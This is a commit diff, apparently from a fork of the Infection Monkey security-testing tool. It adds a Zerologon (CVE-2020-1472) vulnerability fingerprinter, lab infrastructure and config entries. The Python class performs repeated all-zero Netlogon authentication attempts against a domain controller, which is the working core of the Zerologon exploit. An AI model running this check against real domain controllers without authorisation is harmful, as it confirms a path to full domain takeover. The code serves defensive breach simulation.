forked from p15670423/monkey
Merge pull request #868 from shreyamalviya/zerologon-fp
Zerologon Fingerprinter
This commit is contained in:
commit
b406495ca2
|
@ -1098,6 +1098,26 @@ fullTest.conf is a good config to start, because it covers all machines.
|
||||||
</tbody>
|
</tbody>
|
||||||
</table>
|
</table>
|
||||||
|
|
||||||
|
<table>
|
||||||
|
<thead>
|
||||||
|
<tr class="header">
|
||||||
|
<th><p>Nr. <strong>25</strong> ZeroLogon</p>
|
||||||
|
<p>(10.2.2.25)</p></th>
|
||||||
|
<th>(Vulnerable)</th>
|
||||||
|
</tr>
|
||||||
|
</thead>
|
||||||
|
<tbody>
|
||||||
|
<tr class="odd">
|
||||||
|
<td>OS:</td>
|
||||||
|
<td><strong>Server 2016</strong></td>
|
||||||
|
</tr>
|
||||||
|
<tr class="even">
|
||||||
|
<td>Default server’s port:</td>
|
||||||
|
<td>135</td>
|
||||||
|
</tr>
|
||||||
|
</tbody>
|
||||||
|
</table>
|
||||||
|
|
||||||
<table>
|
<table>
|
||||||
<thead>
|
<thead>
|
||||||
<tr class="header">
|
<tr class="header">
|
||||||
|
|
|
@ -85,6 +85,10 @@ data "google_compute_image" "struts2-24" {
|
||||||
name = "struts2-24"
|
name = "struts2-24"
|
||||||
project = local.monkeyzoo_project
|
project = local.monkeyzoo_project
|
||||||
}
|
}
|
||||||
|
data "google_compute_image" "zerologon-25" {
|
||||||
|
name = "zerologon-25"
|
||||||
|
project = local.monkeyzoo_project
|
||||||
|
}
|
||||||
data "google_compute_image" "island-linux-250" {
|
data "google_compute_image" "island-linux-250" {
|
||||||
name = "island-linux-250"
|
name = "island-linux-250"
|
||||||
project = local.monkeyzoo_project
|
project = local.monkeyzoo_project
|
||||||
|
|
|
@ -432,6 +432,21 @@ resource "google_compute_instance_from_template" "struts2-24" {
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
resource "google_compute_instance_from_template" "zerologon-25" {
|
||||||
|
name = "${local.resource_prefix}zerologon-25"
|
||||||
|
source_instance_template = local.default_windows
|
||||||
|
boot_disk{
|
||||||
|
initialize_params {
|
||||||
|
image = data.google_compute_image.zerologon-25.self_link
|
||||||
|
}
|
||||||
|
auto_delete = true
|
||||||
|
}
|
||||||
|
network_interface {
|
||||||
|
subnetwork="${local.resource_prefix}monkeyzoo-main"
|
||||||
|
network_ip="10.2.2.25"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
resource "google_compute_instance_from_template" "island-linux-250" {
|
resource "google_compute_instance_from_template" "island-linux-250" {
|
||||||
name = "${local.resource_prefix}island-linux-250"
|
name = "${local.resource_prefix}island-linux-250"
|
||||||
machine_type = "n1-standard-2"
|
machine_type = "n1-standard-2"
|
||||||
|
|
|
@ -0,0 +1,112 @@
|
||||||
|
"""
|
||||||
|
Implementation from https://github.com/SecuraBV/CVE-2020-1472
|
||||||
|
"""
|
||||||
|
|
||||||
|
import logging
|
||||||
|
import subprocess
|
||||||
|
|
||||||
|
import nmb.NetBIOS
|
||||||
|
from impacket.dcerpc.v5 import epm, nrpc, transport
|
||||||
|
|
||||||
|
import infection_monkey.config
|
||||||
|
from infection_monkey.network.HostFinger import HostFinger
|
||||||
|
from infection_monkey.utils.environment import is_windows_os
|
||||||
|
|
||||||
|
LOG = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
|
||||||
|
class WindowsServerFinger(HostFinger):
|
||||||
|
# Class related consts
|
||||||
|
MAX_ATTEMPTS = 2000
|
||||||
|
_SCANNED_SERVICE = "NTLM (NT LAN Manager)"
|
||||||
|
|
||||||
|
def get_host_fingerprint(self, host):
|
||||||
|
"""
|
||||||
|
Checks if the Windows Server is vulnerable to Zerologon.
|
||||||
|
"""
|
||||||
|
|
||||||
|
DC_IP = host.ip_addr
|
||||||
|
DC_NAME = self.get_dc_name(DC_IP)
|
||||||
|
|
||||||
|
if DC_NAME: # if it is a Windows DC
|
||||||
|
# Keep authenticating until successful.
|
||||||
|
# Expected average number of attempts needed: 256.
|
||||||
|
# Approximate time taken by 2000 attempts: 40 seconds.
|
||||||
|
DC_HANDLE = '\\\\' + DC_NAME
|
||||||
|
|
||||||
|
LOG.info('Performing Zerologon authentication attempts...')
|
||||||
|
rpc_con = None
|
||||||
|
for _ in range(0, self.MAX_ATTEMPTS):
|
||||||
|
try:
|
||||||
|
rpc_con = self.try_zero_authenticate(DC_HANDLE, DC_IP, DC_NAME)
|
||||||
|
if rpc_con is not None:
|
||||||
|
break
|
||||||
|
except Exception as ex:
|
||||||
|
LOG.info(ex)
|
||||||
|
break
|
||||||
|
|
||||||
|
self.init_service(host.services, self._SCANNED_SERVICE, '')
|
||||||
|
|
||||||
|
if rpc_con:
|
||||||
|
LOG.info('Success: Domain Controller can be fully compromised by a Zerologon attack.')
|
||||||
|
host.services[self._SCANNED_SERVICE]['is_vulnerable'] = True
|
||||||
|
return True
|
||||||
|
else:
|
||||||
|
LOG.info('Failure: Target is either patched or an unexpected error was encountered.')
|
||||||
|
host.services[self._SCANNED_SERVICE]['is_vulnerable'] = False
|
||||||
|
return False
|
||||||
|
|
||||||
|
else:
|
||||||
|
LOG.info('Error encountered; most likely not a Windows Domain Controller.')
|
||||||
|
return False
|
||||||
|
|
||||||
|
def get_dc_name(self, DC_IP):
|
||||||
|
"""
|
||||||
|
Gets NetBIOS name of the Domain Controller (DC).
|
||||||
|
"""
|
||||||
|
|
||||||
|
try:
|
||||||
|
nb = nmb.NetBIOS.NetBIOS()
|
||||||
|
name = nb.queryIPForName(ip=DC_IP) # returns either a list of NetBIOS names or None
|
||||||
|
return name[0] if name else None
|
||||||
|
except BaseException as ex:
|
||||||
|
LOG.info(f'Exception: {ex}')
|
||||||
|
|
||||||
|
def try_zero_authenticate(self, DC_HANDLE, DC_IP, DC_NAME):
|
||||||
|
# Connect to the DC's Netlogon service.
|
||||||
|
binding = epm.hept_map(DC_IP, nrpc.MSRPC_UUID_NRPC,
|
||||||
|
protocol='ncacn_ip_tcp')
|
||||||
|
rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()
|
||||||
|
rpc_con.connect()
|
||||||
|
rpc_con.bind(nrpc.MSRPC_UUID_NRPC)
|
||||||
|
|
||||||
|
# Use an all-zero challenge and credential.
|
||||||
|
plaintext = b'\x00' * 8
|
||||||
|
ciphertext = b'\x00' * 8
|
||||||
|
|
||||||
|
# Standard flags observed from a Windows 10 client (including AES), with only the sign/seal flag disabled.
|
||||||
|
flags = 0x212fffff
|
||||||
|
|
||||||
|
# Send challenge and authentication request.
|
||||||
|
nrpc.hNetrServerReqChallenge(
|
||||||
|
rpc_con, DC_HANDLE + '\x00', DC_NAME + '\x00', plaintext)
|
||||||
|
|
||||||
|
try:
|
||||||
|
server_auth = nrpc.hNetrServerAuthenticate3(
|
||||||
|
rpc_con, DC_HANDLE + '\x00', DC_NAME +
|
||||||
|
'$\x00', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
|
||||||
|
DC_NAME + '\x00', ciphertext, flags
|
||||||
|
)
|
||||||
|
|
||||||
|
# It worked!
|
||||||
|
assert server_auth['ErrorCode'] == 0
|
||||||
|
return rpc_con
|
||||||
|
|
||||||
|
except nrpc.DCERPCSessionError as ex:
|
||||||
|
if ex.get_error_code() == 0xc0000022: # STATUS_ACCESS_DENIED error; if not this, probably some other issue.
|
||||||
|
pass
|
||||||
|
else:
|
||||||
|
raise Exception(f'Unexpected error code: {ex.get_error_code()}.')
|
||||||
|
|
||||||
|
except BaseException as ex:
|
||||||
|
raise Exception(f'Unexpected error: {ex}.')
|
|
@ -12,5 +12,6 @@ pycryptodome==3.9.8
|
||||||
pyftpdlib==1.5.6
|
pyftpdlib==1.5.6
|
||||||
pymssql<3.0
|
pymssql<3.0
|
||||||
pypykatz==0.3.12
|
pypykatz==0.3.12
|
||||||
|
pysmb==1.2.5
|
||||||
requests>=2.24
|
requests>=2.24
|
||||||
wmi==1.5.1 ; sys_platform == 'win32'
|
wmi==1.5.1 ; sys_platform == 'win32'
|
||||||
|
|
|
@ -56,7 +56,6 @@ FINGER_CLASSES = {
|
||||||
"info": "Checks if Microsoft SQL service is running and tries to gather information about it.",
|
"info": "Checks if Microsoft SQL service is running and tries to gather information about it.",
|
||||||
"attack_techniques": ["T1210"]
|
"attack_techniques": ["T1210"]
|
||||||
},
|
},
|
||||||
|
|
||||||
{
|
{
|
||||||
"type": "string",
|
"type": "string",
|
||||||
"enum": [
|
"enum": [
|
||||||
|
@ -65,6 +64,15 @@ FINGER_CLASSES = {
|
||||||
"title": "ElasticFinger",
|
"title": "ElasticFinger",
|
||||||
"info": "Checks if ElasticSearch is running and attempts to find it's version.",
|
"info": "Checks if ElasticSearch is running and attempts to find it's version.",
|
||||||
"attack_techniques": ["T1210"]
|
"attack_techniques": ["T1210"]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"type": "string",
|
||||||
|
"enum": [
|
||||||
|
"WindowsServerFinger"
|
||||||
|
],
|
||||||
|
"title": "WindowsServerFinger",
|
||||||
|
"info": "Checks if server is a Windows Server and tests if it is vulnerable to Zerologon.",
|
||||||
|
"attack_techniques": ["T1210"]
|
||||||
}
|
}
|
||||||
]
|
]
|
||||||
}
|
}
|
||||||
|
|
|
@ -222,7 +222,8 @@ INTERNAL = {
|
||||||
"HTTPFinger",
|
"HTTPFinger",
|
||||||
"MySQLFinger",
|
"MySQLFinger",
|
||||||
"MSSQLFinger",
|
"MSSQLFinger",
|
||||||
"ElasticFinger"
|
"ElasticFinger",
|
||||||
|
"WindowsServerFinger"
|
||||||
]
|
]
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
Loading…
Reference in New Issue